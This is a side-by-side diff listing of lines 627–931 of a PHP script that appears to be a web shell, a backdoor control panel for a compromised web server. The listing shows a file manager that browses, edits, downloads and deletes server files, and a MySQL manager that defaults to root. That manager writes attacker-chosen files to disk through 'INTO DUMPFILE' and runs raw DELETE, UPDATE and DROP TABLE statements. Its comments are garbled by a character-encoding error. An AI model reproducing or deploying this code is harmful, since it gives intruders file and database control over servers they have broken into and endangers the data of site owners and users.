| 627 | $filedb['fileperm']=getPerms($filepath); | 627 | $filedb['fileperm']=getPerms($filepath); |
| 628 | $filedb['fileowner']=getUser($filepath); | 628 | $filedb['fileowner']=getUser($filepath); |
| 629 | $filedb['dirlink']=$nowpath; | 629 | $filedb['dirlink']=$nowpath; |
| 630 | $filedb['server_link']=$filepath; | 630 | $filedb['server_link']=$filepath; |
| 631 | $filedata[]=$filedb; | 631 | $filedata[]=$filedb; |
| 632 | } | 632 | } |
| 633 | }// while | 633 | }// while |
| 634 | unset($dirdb); | 634 | unset($dirdb); |
| 635 | unset($filedb); | 635 | unset($filedb); |
| 636 | @closedir($dirs); | 636 | @closedir($dirs); |
| 637 | } | 637 | } |
| 638 | @sort($dirdata); | 638 | @sort($dirdata); |
| 639 | @sort($filedata); | 639 | @sort($filedata); |
| 640 | $dir_i = '0'; | 640 | $dir_i = '0'; |
| 641 | 641 | ||
| 642 | p('<form id="filelist" name="filelist" action="'.$self.'" method="post">'); | 642 | p('<form id="filelist" name="filelist" action="'.$self.'" method="post">'); |
| 643 | makehide('action','file'); | 643 | makehide('action','file'); |
| 644 | makehide('thefile'); | 644 | makehide('thefile'); |
| 645 | makehide('doing'); | 645 | makehide('doing'); |
| 646 | makehide('dir',$nowpath); | 646 | makehide('dir',$nowpath); |
| 647 | 647 | ||
| 648 | foreach($dirdata as $key => $dirdb){ | 648 | foreach($dirdata as $key => $dirdb){ |
| 649 | if($dirdb['filename']!='..' && $dirdb['filename']!='.') { | 649 | if($dirdb['filename']!='..' && $dirdb['filename']!='.') { |
| 650 | if($getdir && $getdir == $dirdb['server_link']) { | 650 | if($getdir && $getdir == $dirdb['server_link']) { |
| 651 | $attachsize = dirsize($dirdb['server_link']); | 651 | $attachsize = dirsize($dirdb['server_link']); |
| 652 | $attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown'; | 652 | $attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown'; |
| 653 | } else { | 653 | } else { |
| 654 | $attachsize = '<a href="javascript:getsize(\''.$dirdb['server_link'].'\',\''.$dir.'\');">Stat</a>'; | 654 | $attachsize = '<a href="javascript:getsize(\''.$dirdb['server_link'].'\',\''.$dir.'\');">Stat</a>'; |
| 655 | } | 655 | } |
| 656 | $thisbg = bg(); | 656 | $thisbg = bg(); |
| 657 | p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">'); | 657 | p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">'); |
| 658 | p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$dirdb['server_link'].'"></td>'); | 658 | p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$dirdb['server_link'].'"></td>'); |
| 659 | p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>'); | 659 | p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>'); |
| 660 | p('<td nowrap><a href="javascript:opfile(\'newtime\',\''.$dirdb['server_link'].'\',\''.$dirdb['dirlink'].'\');">'.$dirdb['mtime'].'</a></td>'); | 660 | p('<td nowrap><a href="javascript:opfile(\'newtime\',\''.$dirdb['server_link'].'\',\''.$dirdb['dirlink'].'\');">'.$dirdb['mtime'].'</a></td>'); |
| 661 | p('<td nowrap>'.$attachsize.'</td>'); | 661 | p('<td nowrap>'.$attachsize.'</td>'); |
| 662 | p('<td nowrap>'); | 662 | p('<td nowrap>'); |
| 663 | p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / '); | 663 | p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / '); |
| 664 | p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>'); | 664 | p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>'); |
| 665 | p('<td nowrap><a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>'); | 665 | p('<td nowrap><a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>'); |
| 666 | p('</tr>'); | 666 | p('</tr>'); |
| 667 | $dir_i++; | 667 | $dir_i++; |
| 668 | } else { | 668 | } else { |
| 669 | if($dirdb['filename']=='..') { | 669 | if($dirdb['filename']=='..') { |
| 670 | p('<tr class='.bg().'>'); | 670 | p('<tr class='.bg().'>'); |
| 671 | p('<td align="center">-</td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>'); | 671 | p('<td align="center">-</td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>'); |
| 672 | p('</tr>'); | 672 | p('</tr>'); |
| 673 | } | 673 | } |
| 674 | } | 674 | } |
| 675 | } | 675 | } |
| 676 | 676 | ||
| 677 | p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>'); | 677 | p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>'); |
| 678 | $file_i = '0'; | 678 | $file_i = '0'; |
| 679 | 679 | ||
| 680 | foreach($filedata as $key => $filedb){ | 680 | foreach($filedata as $key => $filedb){ |
| 681 | if($filedb['filename']!='..' && $filedb['filename']!='.') { | 681 | if($filedb['filename']!='..' && $filedb['filename']!='.') { |
| 682 | $fileurl = str_replace($_SERVER["DOCUMENT_ROOT"],'',$filedb['server_link']); | 682 | $fileurl = str_replace($_SERVER["DOCUMENT_ROOT"],'',$filedb['server_link']); |
| 683 | $thisbg = bg(); | 683 | $thisbg = bg(); |
| 684 | p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">'); | 684 | p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">'); |
| 685 | p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$filedb['server_link'].'"></td>'); | 685 | p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$filedb['server_link'].'"></td>'); |
| 686 | p('<td>'.((strpos($filedb['server_link'], $_SERVER["DOCUMENT_ROOT"]) !== false) ? '<a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a>' : $filedb['filename']).'</td>'); | 686 | p('<td>'.((strpos($filedb['server_link'], $_SERVER["DOCUMENT_ROOT"]) !== false) ? '<a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a>' : $filedb['filename']).'</td>'); |
| 687 | p('<td nowrap><a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">'.$filedb['mtime'].'</a></td>'); | 687 | p('<td nowrap><a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">'.$filedb['mtime'].'</a></td>'); |
| 688 | p('<td nowrap>'.$filedb['size'].'</td>'); | 688 | p('<td nowrap>'.$filedb['size'].'</td>'); |
| 689 | p('<td nowrap>'); | 689 | p('<td nowrap>'); |
| 690 | p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / '); | 690 | p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / '); |
| 691 | p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>'); | 691 | p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>'); |
| 692 | p('<td nowrap>'); | 692 | p('<td nowrap>'); |
| 693 | p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | '); | 693 | p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | '); |
| 694 | p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | '); | 694 | p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | '); |
| 695 | p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | '); | 695 | p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | '); |
| 696 | p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a>'); | 696 | p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a>'); |
| 697 | p('</td></tr>'); | 697 | p('</td></tr>'); |
| 698 | $file_i++; | 698 | $file_i++; |
| 699 | } | 699 | } |
| 700 | } | 700 | } |
| 701 | p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>'); | 701 | p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>'); |
| 702 | p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td colspan="4"><a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>'); | 702 | p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td colspan="4"><a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>'); |
| 703 | p('</form></table>'); | 703 | p('</form></table>'); |
| 704 | }// end dir | 704 | }// end dir |
| 705 | 705 | ||
| 706 | elseif ($action == 'sqlfile') { | 706 | elseif ($action == 'sqlfile') { |
| 707 | if($doing=="mysqlupload"){ | 707 | if($doing=="mysqlupload"){ |
| 708 | $file = $_FILES['uploadfile']; | 708 | $file = $_FILES['uploadfile']; |
| 709 | $filename = $file['tmp_name']; | 709 | $filename = $file['tmp_name']; |
| 710 | if (file_exists($savepath)) { | 710 | if (file_exists($savepath)) { |
| 711 | m('The goal file has already existed'); | 711 | m('The goal file has already existed'); |
| 712 | } else { | 712 | } else { |
| 713 | if(!$filename) { | 713 | if(!$filename) { |
| 714 | m('Please choose a file'); | 714 | m('Please choose a file'); |
| 715 | } else { | 715 | } else { |
| 716 | $fp=@fopen($filename,'r'); | 716 | $fp=@fopen($filename,'r'); |
| 717 | $contents=@fread($fp, filesize($filename)); | 717 | $contents=@fread($fp, filesize($filename)); |
| 718 | @fclose($fp); | 718 | @fclose($fp); |
| 719 | $contents = bin2hex($contents); | 719 | $contents = bin2hex($contents); |
| 720 | if(!$upname) $upname = $file['name']; | 720 | if(!$upname) $upname = $file['name']; |
| 721 | $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); | 721 | $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); |
| 722 | $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';"); | 722 | $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';"); |
| 723 | m($result ? 'Upload success' : 'Upload has failed: '.mysql_error()); | 723 | m($result ? 'Upload success' : 'Upload has failed: '.mysql_error()); |
| 724 | } | 724 | } |
| 725 | } | 725 | } |
| 726 | } | 726 | } |
| 727 | ?> | 727 | ?> |
| 728 | <script type="text/javascript"> | 728 | <script type="text/javascript"> |
| 729 | function mysqlfile(doing){ | 729 | function mysqlfile(doing){ |
| 730 | if(!doing) return; | 730 | if(!doing) return; |
| 731 | $('doing').value=doing; | 731 | $('doing').value=doing; |
| 732 | $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value; | 732 | $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value; |
| 733 | $('mysqlfile').dbport.value=$('dbinfo').dbport.value; | 733 | $('mysqlfile').dbport.value=$('dbinfo').dbport.value; |
| 734 | $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value; | 734 | $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value; |
| 735 | $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value; | 735 | $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value; |
| 736 | $('mysqlfile').dbname.value=$('dbinfo').dbname.value; | 736 | $('mysqlfile').dbname.value=$('dbinfo').dbname.value; |
| 737 | $('mysqlfile').charset.value=$('dbinfo').charset.value; | 737 | $('mysqlfile').charset.value=$('dbinfo').charset.value; |
| 738 | $('mysqlfile').submit(); | 738 | $('mysqlfile').submit(); |
| 739 | } | 739 | } |
| 740 | </script> | 740 | </script> |
| 741 | <?php | 741 | <?php |
| 742 | !$dbhost && $dbhost = 'localhost'; | 742 | !$dbhost && $dbhost = 'localhost'; |
| 743 | !$dbuser && $dbuser = 'root'; | 743 | !$dbuser && $dbuser = 'root'; |
| 744 | !$dbport && $dbport = '3306'; | 744 | !$dbport && $dbport = '3306'; |
| 745 | formhead(array('title'=>'MYSQL Information','name'=>'dbinfo')); | 745 | formhead(array('title'=>'MYSQL Information','name'=>'dbinfo')); |
| 746 | makehide('action','sqlfile'); | 746 | makehide('action','sqlfile'); |
| 747 | p('<p>'); | 747 | p('<p>'); |
| 748 | p('DBHost:'); | 748 | p('DBHost:'); |
| 749 | makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); | 749 | makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); |
| 750 | p(':'); | 750 | p(':'); |
| 751 | makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); | 751 | makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); |
| 752 | p('DBUser:'); | 752 | p('DBUser:'); |
| 753 | makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); | 753 | makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); |
| 754 | p('DBPass:'); | 754 | p('DBPass:'); |
| 755 | makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); | 755 | makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); |
| 756 | p('DBName:'); | 756 | p('DBName:'); |
| 757 | makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname)); | 757 | makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname)); |
| 758 | p('DBCharset:'); | 758 | p('DBCharset:'); |
| 759 | makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1)); | 759 | makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1)); |
| 760 | p('</p>'); | 760 | p('</p>'); |
| 761 | formfoot(); | 761 | formfoot(); |
| 762 | p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">'); | 762 | p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">'); |
| 763 | p('<h2>Upload file</h2>'); | 763 | p('<h2>Upload file</h2>'); |
| 764 | p('<p><b>This operation the DB user must has FILE privilege</b></p>'); | 764 | p('<p><b>This operation the DB user must has FILE privilege</b></p>'); |
| 765 | p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>'); | 765 | p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>'); |
| 766 | p('<h2>Download file</h2>'); | 766 | p('<h2>Download file</h2>'); |
| 767 | p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>'); | 767 | p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>'); |
| 768 | makehide('dbhost'); | 768 | makehide('dbhost'); |
| 769 | makehide('dbport'); | 769 | makehide('dbport'); |
| 770 | makehide('dbuser'); | 770 | makehide('dbuser'); |
| 771 | makehide('dbpass'); | 771 | makehide('dbpass'); |
| 772 | makehide('dbname'); | 772 | makehide('dbname'); |
| 773 | makehide('charset'); | 773 | makehide('charset'); |
| 774 | makehide('doing'); | 774 | makehide('doing'); |
| 775 | makehide('action','sqlfile'); | 775 | makehide('action','sqlfile'); |
| 776 | p('</form>'); | 776 | p('</form>'); |
| 777 | } | 777 | } |
| 778 | 778 | ||
| 779 | elseif ($action == 'mysqladmin') { | 779 | elseif ($action == 'mysqladmin') { |
| 780 | !$dbhost && $dbhost = 'localhost'; | 780 | !$dbhost && $dbhost = 'localhost'; |
| 781 | !$dbuser && $dbuser = 'root'; | 781 | !$dbuser && $dbuser = 'root'; |
| 782 | !$dbport && $dbport = '3306'; | 782 | !$dbport && $dbport = '3306'; |
| 783 | $dbform = '<input type="hidden" id="connect" name="connect" value="1" />'; | 783 | $dbform = '<input type="hidden" id="connect" name="connect" value="1" />'; |
| 784 | if(isset($dbhost)){ | 784 | if(isset($dbhost)){ |
| 785 | $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n"; | 785 | $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n"; |
| 786 | } | 786 | } |
| 787 | if(isset($dbuser)) { | 787 | if(isset($dbuser)) { |
| 788 | $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n"; | 788 | $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n"; |
| 789 | } | 789 | } |
| 790 | if(isset($dbpass)) { | 790 | if(isset($dbpass)) { |
| 791 | $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n"; | 791 | $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n"; |
| 792 | } | 792 | } |
| 793 | if(isset($dbport)) { | 793 | if(isset($dbport)) { |
| 794 | $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n"; | 794 | $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n"; |
| 795 | } | 795 | } |
| 796 | if(isset($dbname)) { | 796 | if(isset($dbname)) { |
| 797 | $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n"; | 797 | $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n"; |
| 798 | } | 798 | } |
| 799 | if(isset($charset)) { | 799 | if(isset($charset)) { |
| 800 | $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n"; | 800 | $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n"; |
| 801 | } | 801 | } |
| 802 | 802 | ||
| 803 | if ($doing == 'backupmysql' && $saveasfile) { | 803 | if ($doing == 'backupmysql' && $saveasfile) { |
| 804 | if (!$table) { | 804 | if (!$table) { |
| 805 | m('Please choose the table'); | 805 | m('Please choose the table'); |
| 806 | } else { | 806 | } else { |
| 807 | $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); | 807 | $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); |
| 808 | $fp = @fopen($path,'w'); | 808 | $fp = @fopen($path,'w'); |
| 809 | if ($fp) { | 809 | if ($fp) { |
| 810 | foreach($table as $k => $v) { | 810 | foreach($table as $k => $v) { |
| 811 | if ($v) { | 811 | if ($v) { |
| 812 | sqldumptable($v, $fp); | 812 | sqldumptable($v, $fp); |
| 813 | } | 813 | } |
| 814 | } | 814 | } |
| 815 | fclose($fp); | 815 | fclose($fp); |
| 816 | $fileurl = str_replace(SA_ROOT,'',$path); | 816 | $fileurl = str_replace(SA_ROOT,'',$path); |
| 817 | m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>'); | 817 | m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>'); |
| 818 | mysql_close(); | 818 | mysql_close(); |
| 819 | } else { | 819 | } else { |
| 820 | m('Backup failed'); | 820 | m('Backup failed'); |
| 821 | } | 821 | } |
| 822 | } | 822 | } |
| 823 | } | 823 | } |
| 824 | if ($insert && $insertsql) { | 824 | if ($insert && $insertsql) { |
| 825 | $keystr = $valstr = $tmp = ''; | 825 | $keystr = $valstr = $tmp = ''; |
| 826 | foreach($insertsql as $key => $val) { | 826 | foreach($insertsql as $key => $val) { |
| 827 | if ($val) { | 827 | if ($val) { |
| 828 | $keystr .= $tmp.$key; | 828 | $keystr .= $tmp.$key; |
| 829 | $valstr .= $tmp."'".addslashes($val)."'"; | 829 | $valstr .= $tmp."'".addslashes($val)."'"; |
| 830 | $tmp = ','; | 830 | $tmp = ','; |
| 831 | } | 831 | } |
| 832 | } | 832 | } |
| 833 | if ($keystr && $valstr) { | 833 | if ($keystr && $valstr) { |
| 834 | $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); | 834 | $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); |
| 835 | m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error()); | 835 | m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error()); |
| 836 | } | 836 | } |
| 837 | } | 837 | } |
| 838 | if ($update && $insertsql && $base64) { | 838 | if ($update && $insertsql && $base64) { |
| 839 | $valstr = $tmp = ''; | 839 | $valstr = $tmp = ''; |
| 840 | foreach($insertsql as $key => $val) { | 840 | foreach($insertsql as $key => $val) { |
| 841 | $valstr .= $tmp.$key."='".addslashes($val)."'"; | 841 | $valstr .= $tmp.$key."='".addslashes($val)."'"; |
| 842 | $tmp = ','; | 842 | $tmp = ','; |
| 843 | } | 843 | } |
| 844 | if ($valstr) { | 844 | if ($valstr) { |
| 845 | $where = base64_decode($base64); | 845 | $where = base64_decode($base64); |
| 846 | $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); | 846 | $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); |
| 847 | m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error()); | 847 | m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error()); |
| 848 | } | 848 | } |
| 849 | } | 849 | } |
| 850 | if ($doing == 'del' && $base64) { | 850 | if ($doing == 'del' && $base64) { |
| 851 | $where = base64_decode($base64); | 851 | $where = base64_decode($base64); |
| 852 | $delete_sql = "DELETE FROM $tablename WHERE $where"; | 852 | $delete_sql = "DELETE FROM $tablename WHERE $where"; |
| 853 | $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); | 853 | $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); |
| 854 | m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error()); | 854 | m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error()); |
| 855 | } | 855 | } |
| 856 | 856 | ||
| 857 | if ($tablename && $doing == 'drop') { | 857 | if ($tablename && $doing == 'drop') { |
| 858 | $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); | 858 | $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); |
| 859 | if (q("DROP TABLE $tablename")) { | 859 | if (q("DROP TABLE $tablename")) { |
| 860 | m('Drop table of success'); | 860 | m('Drop table of success'); |
| 861 | $tablename = ''; | 861 | $tablename = ''; |
| 862 | } else { | 862 | } else { |
| 863 | m(mysql_error()); | 863 | m(mysql_error()); |
| 864 | } | 864 | } |
| 865 | } | 865 | } |
| 866 | 866 | ||
| 867 | formhead(array('title'=>'MYSQL Manager')); | 867 | formhead(array('title'=>'MYSQL Manager')); |
| 868 | makehide('action','mysqladmin'); | 868 | makehide('action','mysqladmin'); |
| 869 | p('<p>'); | 869 | p('<p>'); |
| 870 | p('DBHost:'); | 870 | p('DBHost:'); |
| 871 | makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); | 871 | makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); |
| 872 | p(':'); | 872 | p(':'); |
| 873 | makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); | 873 | makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); |
| 874 | p('DBUser:'); | 874 | p('DBUser:'); |
| 875 | makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); | 875 | makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); |
| 876 | p('DBPass:'); | 876 | p('DBPass:'); |
| 877 | makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); | 877 | makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); |
| 878 | p('DBCharset:'); | 878 | p('DBCharset:'); |
| 879 | makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1)); | 879 | makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1)); |
| 880 | makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt')); | 880 | makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt')); |
| 881 | p('</p>'); | 881 | p('</p>'); |
| 882 | formfoot(); | 882 | formfoot(); |
| 883 | 883 | ||
| 884 | //²Ù×÷¼Ç¼ | 884 | //²Ù×÷¼Ç¼ |
| 885 | formhead(array('name'=>'recordlist')); | 885 | formhead(array('name'=>'recordlist')); |
| 886 | makehide('doing'); | 886 | makehide('doing'); |
| 887 | makehide('action','mysqladmin'); | 887 | makehide('action','mysqladmin'); |
| 888 | makehide('base64'); | 888 | makehide('base64'); |
| 889 | makehide('tablename'); | 889 | makehide('tablename'); |
| 890 | p($dbform); | 890 | p($dbform); |
| 891 | formfoot(); | 891 | formfoot(); |
| 892 | 892 | ||
| 893 | //Ñ¡¶¨Êý¾Ý¿â | 893 | //Ñ¡¶¨Êý¾Ý¿â |
| 894 | formhead(array('name'=>'setdbname')); | 894 | formhead(array('name'=>'setdbname')); |
| 895 | makehide('action','mysqladmin'); | 895 | makehide('action','mysqladmin'); |
| 896 | p($dbform); | 896 | p($dbform); |
| 897 | if (!$dbname) { | 897 | if (!$dbname) { |
| 898 | makehide('dbname'); | 898 | makehide('dbname'); |
| 899 | } | 899 | } |
| 900 | formfoot(); | 900 | formfoot(); |
| 901 | 901 | ||
| 902 | //Ñ¡¶¨±í | 902 | //Ñ¡¶¨±í |
| 903 | formhead(array('name'=>'settable')); | 903 | formhead(array('name'=>'settable')); |
| 904 | makehide('action','mysqladmin'); | 904 | makehide('action','mysqladmin'); |
| 905 | p($dbform); | 905 | p($dbform); |
| 906 | makehide('tablename'); | 906 | makehide('tablename'); |
| 907 | makehide('page',$page); | 907 | makehide('page',$page); |
| 908 | makehide('doing'); | 908 | makehide('doing'); |
| 909 | formfoot(); | 909 | formfoot(); |
| 910 | 910 | ||
| 911 | $cachetables = array(); | 911 | $cachetables = array(); |
| 912 | $pagenum = 30; | 912 | $pagenum = 30; |
| 913 | $page = intval($page); | 913 | $page = intval($page); |
| 914 | if($page) { | 914 | if($page) { |
| 915 | $start_limit = ($page - 1) * $pagenum; | 915 | $start_limit = ($page - 1) * $pagenum; |
| 916 | } else { | 916 | } else { |
| 917 | $start_limit = 0; | 917 | $start_limit = 0; |
| 918 | $page = 1; | 918 | $page = 1; |
| 919 | } | 919 | } |
| 920 | if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) { | 920 | if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) { |
| 921 | $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); | 921 | $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); |
| 922 | //»ñÈ¡Êý¾Ý¿âÐÅÏ¢ | 922 | //»ñÈ¡Êý¾Ý¿âÐÅÏ¢ |
| 923 | $mysqlver = mysql_get_server_info(); | 923 | $mysqlver = mysql_get_server_info(); |
| 924 | p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>'); | 924 | p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>'); |
| 925 | $highver = $mysqlver > '4.1' ? 1 : 0; | 925 | $highver = $mysqlver > '4.1' ? 1 : 0; |
| 926 | 926 | ||
| 927 | //»ñÈ¡Êý¾Ý¿â | 927 | //»ñÈ¡Êý¾Ý¿â |
| 928 | $query = q("SHOW DATABASES"); | 928 | $query = q("SHOW DATABASES"); |
| 929 | $dbs = array(); | 929 | $dbs = array(); |
| 930 | $dbs[] = '-- Select a database --'; | 930 | $dbs[] = '-- Select a database --'; |
| 931 | while($db = mysql_fetch_array($query)) { | 931 | while($db = mysql_fetch_array($query)) { |
